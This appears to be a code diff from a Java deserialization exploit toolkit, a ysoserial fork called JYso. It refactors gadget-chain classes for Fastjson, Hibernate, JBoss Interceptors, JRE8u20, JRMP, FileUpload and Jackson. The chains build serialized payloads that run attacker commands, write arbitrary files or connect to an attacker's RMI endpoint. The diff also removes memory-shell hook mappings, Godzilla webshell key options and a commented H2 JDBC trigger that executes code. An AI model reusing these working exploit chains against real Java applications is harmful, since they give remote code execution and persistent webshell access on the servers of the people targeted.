-        KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
-        // Tomcat Upgrade 型内存马，关键方法 accept
-        KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
-        // Tomcat Executor 型内存马，关键方法 execute
-        KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
-        // Spring Interceptor 型内存马，关键方法 preHandle
-        KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
-    }
-
     public static void logo() {
         String logo = " ┏┳┓┏    \n" +
                 "  ┃┗┫┏┏┓ \n" +

src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java

@@ -17,7 +17,6 @@ import java.nio.file.Paths;
 import java.util.*;
 
 import static com.qi4l.JYso.gadgets.Config.Config.logo;
-import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
 import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
 
 public class ysoserial {
@@ -52,18 +51,6 @@ public class ysoserial {
             Config.IS_OBSCURE = true;
         }
 
-        if (cmdLine.hasOption("cmd-header")) {
-            Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
-        }
-
-        if (cmdLine.hasOption("url")) {
-            String url = cmdLine.getOptionValue("url");
-            if (!url.startsWith("/")) {
-                url = "/" + url;
-            }
-            Config.URL_PATTERN = url;
-        }
-
         if (cmdLine.hasOption("define-class-from-parameter")) {
             Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
         }
@@ -77,23 +64,6 @@ public class ysoserial {
             Config.BASE64 = true;
         }
 
-        if (cmdLine.hasOption("password")) {
-            Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
-            Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
-        }
-
-        if (cmdLine.hasOption("godzilla-key")) {
-            Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
-        }
-
-        if (cmdLine.hasOption("header-key")) {
-            Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
-        }
-
-        if (cmdLine.hasOption("header-value")) {
-            Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
-        }
-
         if (cmdLine.hasOption("no-com-sun")) {
             Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
         }

src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java

@@ -12,6 +12,7 @@ import java.lang.reflect.Field;
 import java.util.HashMap;
 
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class Fastjson1 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
@@ -22,9 +23,12 @@ public class Fastjson1 implements ObjectPayload<Object> {
         CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
         constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
         clazz.addConstructor(constructor);
-        final Object templates;
+        Object templates = Gadgets.createTemplatesImpl(command);
-        templates = Gadgets.createTemplatesImpl(command);
 
+        return getFastjsonSink(templates);
+    }
+
+    static Object getFastjsonSink(Object templates) throws Exception {
         JSONArray jsonArray = new JSONArray();
         jsonArray.add(templates);
 

src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java

@@ -1,40 +0,0 @@
-package com.qi4l.JYso.gadgets;
-
-import com.alibaba.fastjson2.JSONArray;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
-import javassist.ClassPool;
-import javassist.CtClass;
-import javassist.CtConstructor;
-
-import javax.management.BadAttributeValueExpException;
-import java.lang.reflect.Field;
-import java.util.HashMap;
-
-
-public class Fastjson2 implements ObjectPayload<Object> {
-    @Override
-    public Object getObject(String command) throws Exception {
-        ClassPool pool = ClassPool.getDefault();
-        CtClass clazz = pool.makeClass("a");
-        CtClass superClass = pool.get(AbstractTranslet.class.getName());
-        clazz.setSuperclass(superClass);
-        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
-        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
-        clazz.addConstructor(constructor);
-        final Object templates;
-        templates = Gadgets.createTemplatesImpl(command);
-
-        JSONArray jsonArray = new JSONArray();
-        jsonArray.add(templates);
-
-        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
-        Field valfield = val.getClass().getDeclaredField("val");
-        valfield.setAccessible(true);
-        valfield.set(val, jsonArray);
-
-        HashMap hashMap = new HashMap();
-        hashMap.put(templates, val);
-        return hashMap;
-    }
-}

src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java

@@ -7,26 +7,27 @@ import org.apache.commons.io.output.DeferredFileOutputStream;
 import org.apache.commons.io.output.ThresholdingOutputStream;
 
 import java.io.File;
-import java.io.IOException;
 import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 
+@SuppressWarnings({"unused"})
 public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
-    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
+    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
         return makePayload(0, copyTo, copyAndDelete, new byte[1]);
     }
 
     // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
-    private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
+    private static DiskFileItem write(String dir, byte[] data) throws Exception {
         return makePayload(data.length + 1, dir, dir + "/whatever", data);
     }
 
     // writes data to an arbitrary file
-    private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
+    private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
         return makePayload(data.length + 1, file + "\0", file, data);
     }
 
-    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
+    public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
         // if thresh < written length, delete outputFile after copying to repository temp file
         // otherwise write the contents to repository temp file
         File repository = new File(repoPath);
@@ -49,11 +50,11 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
         if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
             return copyAndDelete(parts[1], parts[2]);
         } else if (parts.length == 3 && "write".equals(parts[0])) {
-            return write(parts[1], parts[2].getBytes("US-ASCII"));
+            return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
         } else if (parts.length == 3 && "writeB64".equals(parts[0])) {
             return write(parts[1], Base64.decodeBase64(parts[2]));
         } else if (parts.length == 3 && "writeOld".equals(parts[0])) {
-            return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
+            return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
         } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
             return writePre131(parts[1], Base64.decodeBase64(parts[2]));
         } else {

src/main/java/com/qi4l/JYso/gadgets/Groovy1.java

@@ -11,6 +11,7 @@ import java.util.Map;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
 @Authors({Authors.FROHOFF})
 public class Groovy1 implements ObjectPayload<InvocationHandler> {
@@ -20,8 +21,6 @@ public class Groovy1 implements ObjectPayload<InvocationHandler> {
 
         final Map map = createProxy(closure, Map.class);
 
-        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
+        return Gadgets.createMemoizedInvocationHandler(map);
-
-        return handler;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java

@@ -38,6 +38,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
  *
  * @author mbechler
  */
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Authors({Authors.MBECHLER})
 public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
 
@@ -101,16 +102,16 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
         return arr;
     }
 
-    static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+    static Object makeCaller(Object tpl, Object getters) throws
-            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+            Exception {
         if (System.getProperty("hibernate3") != null) {
             return makeHibernate3Caller(tpl, getters);
         }
         return makeHibernate45Caller(tpl, getters);
     }
 
-    static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+    static Object makeHibernate45Caller(Object tpl, Object getters) throws
-            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+            Exception {
         PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
         Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
 
@@ -132,8 +133,8 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
         return makeMap(v1, v2);
     }
 
-    static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+    static Object makeHibernate3Caller(Object tpl, Object getters) throws
-            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+            Exception {
         // Load at runtime to avoid dependency conflicts
         Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
         Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");

src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java

@@ -34,6 +34,8 @@ import com.sun.rowset.JdbcRowSetImpl;
  *
  * @author mbechler
  */
+
+@SuppressWarnings({"unused"})
 @Authors({Authors.MBECHLER})
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
 

src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java

@@ -1,6 +1,5 @@
 package com.qi4l.JYso.gadgets;
 
-import com.alibaba.fastjson.JSONArray;
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
@@ -8,13 +7,13 @@ import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
 
-import javax.management.BadAttributeValueExpException;
-import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
+import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
+@SuppressWarnings({"unused"})
 @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
 @Authors({Authors.UNAM4})
 public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@@ -47,29 +46,7 @@ public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencie
 
         clazz.getMethod("configure", Map.class).invoke(o1, map1);
 
-        JSONArray jsonArray = new JSONArray();
+        return getFastjsonSink(o1);
-        jsonArray.add(o1);
-
-        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
-        Field valfield = val.getClass().getDeclaredField("val");
-        valfield.setAccessible(true);
-        valfield.set(val, jsonArray);
-
-        HashMap hashMap = new HashMap();
-        hashMap.put(o1, val);
-        return hashMap;
     }
 
-//    public static void main(String[] args) throws Exception{
-//        Hibernate3JDBC hibernate3JDBC = new Hibernate3JDBC();
-//        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
-//                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
-//                "java.lang.Runtime.getRuntime().exec('open .')\n" +
-//                "$$\n";
-//        Object object = hibernate3JDBC.getObject(JDBC_URL);
-//        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./c3p0"));
-//        outputStream.writeObject(object);
-//        outputStream.close();
-//
-//    }
 }

src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java

@@ -2,27 +2,10 @@ package com.qi4l.JYso.gadgets;
 
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.Reflections;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
-import org.jboss.interceptor.builder.InterceptionModelBuilder;
-import org.jboss.interceptor.builder.MethodReference;
-import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
-import org.jboss.interceptor.proxy.InterceptorMethodHandler;
-import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
-import org.jboss.interceptor.reader.DefaultMethodMetadata;
-import org.jboss.interceptor.reader.ReflectiveClassMetadata;
-import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
-import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
-import org.jboss.interceptor.spi.metadata.InterceptorReference;
-import org.jboss.interceptor.spi.metadata.MethodMetadata;
-import org.jboss.interceptor.spi.model.InterceptionModel;
-import org.jboss.interceptor.spi.model.InterceptionType;
-
-import java.lang.reflect.Constructor;
-import java.util.*;
 
+import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
         "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
         "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@@ -30,45 +13,6 @@ import java.util.*;
 public class JBossInterceptors1 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
-        final Object tpl;
+        return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
-        tpl = Gadgets.createTemplatesImpl(command);
-
-        InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
-        ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
-        InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
-
-        Set<InterceptionType> s = new HashSet<InterceptionType>();
-        s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
-
-        Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        Reflections.setAccessible(defaultMethodMetadataConstructor);
-        MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
-                MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
-
-        List list = new ArrayList();
-        list.add(methodMetadata);
-        Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
-
-        hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
-        SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
-
-        builder.interceptAll().with(simpleInterceptorMetadata);
-
-        InterceptionModel model = builder.build();
-
-        HashMap map = new HashMap();
-        map.put("ysoserial", "ysoserial");
-
-        DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
-
-        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
-
-            public Object createFor(InterceptorReference paramInterceptorReference) {
-
-                return tpl;
-            }
-        };
-
-        return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java

@@ -18,7 +18,7 @@ import java.util.Map;
 import static com.qi4l.JYso.Starter.JYsoMode;
 
 
-@SuppressWarnings({"unused"})
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies
 @Authors({"frohoff"})
 public class JRE8u20 implements ObjectPayload<Object> {
@@ -55,9 +55,9 @@ public class JRE8u20 implements ObjectPayload<Object> {
         TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
         beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
         TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
-        beanContextSupportData.addData(Integer.valueOf(1));
+        beanContextSupportData.addData(1);
         beanContextSupportData.addData(handler);
-        beanContextSupportData.addData(Integer.valueOf(0), true);
+        beanContextSupportData.addData(0, true);
         beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
         TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
         beanContextChildSupportData.addData(obj);
@@ -74,7 +74,7 @@ public class JRE8u20 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         Serialization ser = new Serialization();
         Object templates = makeTemplates(command);
-        HashMap<Object, Object> map = new HashMap<Object, Object>();
+        HashMap<Object, Object> map = new HashMap<>();
         map.put("f5a5a608", templates);
         TCObject handler = makeHandler(map, ser);
         TCObject linkedHashset = new TCObject(ser);
@@ -84,9 +84,9 @@ public class JRE8u20 implements ObjectPayload<Object> {
         hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
         TCObject.ObjectData hashsetData = new TCObject.ObjectData();
         hashsetData.addData(makeBeanContextSupport(handler, ser));
-        hashsetData.addData(Integer.valueOf(10), true);
+        hashsetData.addData(10, true);
-        hashsetData.addData(Float.valueOf(1.0F), true);
+        hashsetData.addData(1.0F, true);
-        hashsetData.addData(Integer.valueOf(2), true);
+        hashsetData.addData(2, true);
         hashsetData.addData(templates);
         TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
         hashsetData.addData(proxy);
@@ -100,8 +100,7 @@ public class JRE8u20 implements ObjectPayload<Object> {
         }
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         ser.write(out);
-        byte[] bytes = out.toByteArray();
+        return out.toByteArray();
-        return bytes;
     }
 
 }

src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java

@@ -18,7 +18,7 @@ import java.util.Map;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
 
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class JRE8u20_2 implements ObjectPayload<Object> {
     public static Class newInvocationHandlerClass() throws Exception {
         ClassPool pool = ClassPool.getDefault();
@@ -27,8 +27,7 @@ public class JRE8u20_2 implements ObjectPayload<Object> {
                 "        os.defaultWriteObject();\n" +
                 "    }", clazz);
         clazz.addMethod(writeObject);
-        Class c = clazz.toClass();
+        return clazz.toClass();
-        return c;
     }
 
 

src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java

@@ -40,9 +40,7 @@ import java.util.Random;
  *
  * @author mbechler
  */
-@SuppressWarnings({
+@SuppressWarnings({"unused"})
-        "restriction"
-})
 @Authors({Authors.MBECHLER})
 public class JRMPClient implements ObjectPayload<Object> {
 
@@ -55,15 +53,14 @@ public class JRMPClient implements ObjectPayload<Object> {
             host = command;
         } else {
             host = command.substring(0, sep);
-            port = Integer.valueOf(command.substring(sep + 1));
+            port = Integer.parseInt(command.substring(sep + 1));
         }
         ObjID id = new ObjID(new Random().nextInt()); // RMI registry
         TCPEndpoint te = new TCPEndpoint(host, port);
         UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
         RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
-        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
+        return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
                 Registry.class
         }, obj);
-        return proxy;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java

@@ -11,10 +11,17 @@ import java.rmi.server.ObjID;
 import java.rmi.server.RemoteObjectInvocationHandler;
 import java.util.Random;
 
+@SuppressWarnings({"unused"})
 @Authors({"mbechler"})
 public class JRMPClient_Activator implements ObjectPayload<Activator> {
     @Override
     public Activator getObject(String command) throws Exception {
+        UnicastRef ref = JRMPSource(command);
+        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
+        return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
+    }
+
+    static UnicastRef JRMPSource(String command) {
         String host;
         int port, sep = command.indexOf(':');
         if (sep < 0) {
@@ -22,13 +29,10 @@ public class JRMPClient_Activator implements ObjectPayload<Activator> {
             host = command;
         } else {
             host = command.substring(0, sep);
-            port = Integer.valueOf(command.substring(sep + 1)).intValue();
+            port = Integer.parseInt(command.substring(sep + 1));
         }
         ObjID id = new ObjID((new Random()).nextInt());
         TCPEndpoint te = new TCPEndpoint(host, port);
-        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
+        return new UnicastRef(new LiveRef(id, te, false));
-        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
-        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
-        return proxy;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java

@@ -2,30 +2,15 @@ package com.qi4l.JYso.gadgets;
 
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import sun.rmi.server.UnicastRef;
-import sun.rmi.transport.LiveRef;
-import sun.rmi.transport.tcp.TCPEndpoint;
 
-import java.rmi.server.ObjID;
 import java.rmi.server.RemoteObjectInvocationHandler;
-import java.util.Random;
 
+@SuppressWarnings({"unused"})
 @Authors({"mbechler"})
 public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
     @Override
     public RemoteObjectInvocationHandler getObject(String command) throws Exception {
-        String host;
+        UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
-        int port, sep = command.indexOf(':');
+        return new RemoteObjectInvocationHandler(ref);
-        if (sep < 0) {
-            port = (new Random()).nextInt(65535);
-            host = command;
-        } else {
-            host = command.substring(0, sep);
-            port = Integer.valueOf(command.substring(sep + 1)).intValue();
-        }
-        ObjID id = new ObjID((new Random()).nextInt());
-        TCPEndpoint te = new TCPEndpoint(host, port);
-        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
-        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
-        return obj;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JSON1.java

@@ -45,9 +45,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.*;
  *
  * @author mbechler
  */
-@SuppressWarnings({
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
-        "rawtypes", "unchecked", "restriction"
-})
 @Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
         // deep deps
         "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",

src/main/java/com/qi4l/JYso/gadgets/Jackson1.java

@@ -11,6 +11,7 @@ import java.util.HashMap;
 
 import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 // 在触发 getter 的时候是以随机顺序触发的,所以概率打空
 public class Jackson1 implements ObjectPayload<Object> {
 
@@ -24,7 +25,7 @@ public class Jackson1 implements ObjectPayload<Object> {
             CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
             ctClass.removeMethod(writeReplace);
             ctClass.toClass();
-        } catch (Exception EE) {
+        } catch (Exception ignored) {
 
         }
 

src/main/java/com/qi4l/JYso/gadgets/Jackson2.java

@@ -15,6 +15,7 @@ import java.lang.reflect.Proxy;
 
 import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
 
+@SuppressWarnings({"rawtypes", "unused"})
 public class Jackson2 implements ObjectPayload<Object> {
     public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
         AdvisedSupport advisedSupport = new AdvisedSupport();
@@ -22,8 +23,7 @@ public class Jackson2 implements ObjectPayload<Object> {
         Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
         constructor.setAccessible(true);
         InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
-        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
+        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
-        return proxy;
     }
 
     public Object getObject(final String command) throws Exception {
@@ -33,7 +33,7 @@ public class Jackson2 implements ObjectPayload<Object> {
             CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
             ctClass.removeMethod(writeReplace);
             ctClass.toClass();
-        } catch (Exception EE) {
+        } catch (Exception ignored) {
 
         }
         POJONode node = new POJONode(makeTemplatesImplAopProxy(command));

src/main/java/com/qi4l/JYso/gadgets/Jackson3.java

@@ -25,13 +25,11 @@ import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
 
 
 //Jackson2链的JDK17改造
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"spring-apo:6.2.10"})
 @Authors({Authors.JSJCW})
 public class Jackson3 implements ObjectPayload<Object>  {
-    public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
+    static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception  {
-        AdvisedSupport advisedSupport = new AdvisedSupport();
-        advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
-
         //<=6.0.23为6115154060221772279
         //>=6.1.0 为273003553246259276
         String sUID = "273003553246259276";
@@ -39,36 +37,33 @@ public class Jackson3 implements ObjectPayload<Object> {
                 "org.springframework.aop.framework.DefaultAdvisorChainFactory",
                 "private static final long serialVersionUID = " + sUID + "L;");
 
-        Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
+        Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
+                new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
+        ).newInstance();
         advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
 
         Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
         constructor.setAccessible(true);
-        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
+        return (InvocationHandler) constructor.newInstance(advisedSupport);
-        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
+    }
 
-        return proxy;
+    public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
+        AdvisedSupport advisedSupport = new AdvisedSupport();
+        advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
+
+        InvocationHandler handler = setSuidSource(advisedSupport);
+
+
+        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
     }
 
     public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
         AdvisedSupport advisedSupport = new AdvisedSupport();
         advisedSupport.setTarget(templatesImpl);
 
-        //<=6.0.23为6115154060221772279
+        InvocationHandler handler = setSuidSource(advisedSupport);
-        //>=6.1.0 为273003553246259276
-        String sUID = "273003553246259276";
-        CtClass ctDefaultAdvisorChainFactory = insertField(
-                "org.springframework.aop.framework.DefaultAdvisorChainFactory",
-                "private static final long serialVersionUID = " + sUID + "L;");
 
-        Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
+        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
-        advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
-
-        Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
-        constructor.setAccessible(true);
-        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
-        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
-        return proxy;
     }
 
     public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
@@ -79,8 +74,7 @@ public class Jackson3 implements ObjectPayload<Object> {
         Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
         constructor.setAccessible(true);
         InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
-        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
+        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
-        return proxy;
     }
 
     public static Object getEventListenerList(Object obj) throws Exception {
@@ -90,7 +84,9 @@ public class Jackson3 implements ObjectPayload<Object> {
         CtClass ctEventListenerList = insertField(
                 "javax.swing.event.EventListenerList",
                 "private static final long serialVersionUID = -" + sUID1 + "L;");
-        Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
+        Object list = ctEventListenerList.toClass(
+                new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
+        ).newInstance();
 
         //>=6.1.0 为-1045223116463488483
         //<=6.0.23为-2077529998244066750
@@ -98,7 +94,9 @@ public class Jackson3 implements ObjectPayload<Object> {
         CtClass ctUndoManager = insertField(
                 "javax.swing.undo.UndoManager",
                 "private static final long serialVersionUID = -" + sUID2 + "L;");
-        Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
+        Object undomanager = ctUndoManager.toClass(
+                new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
+        ).newInstance();
 
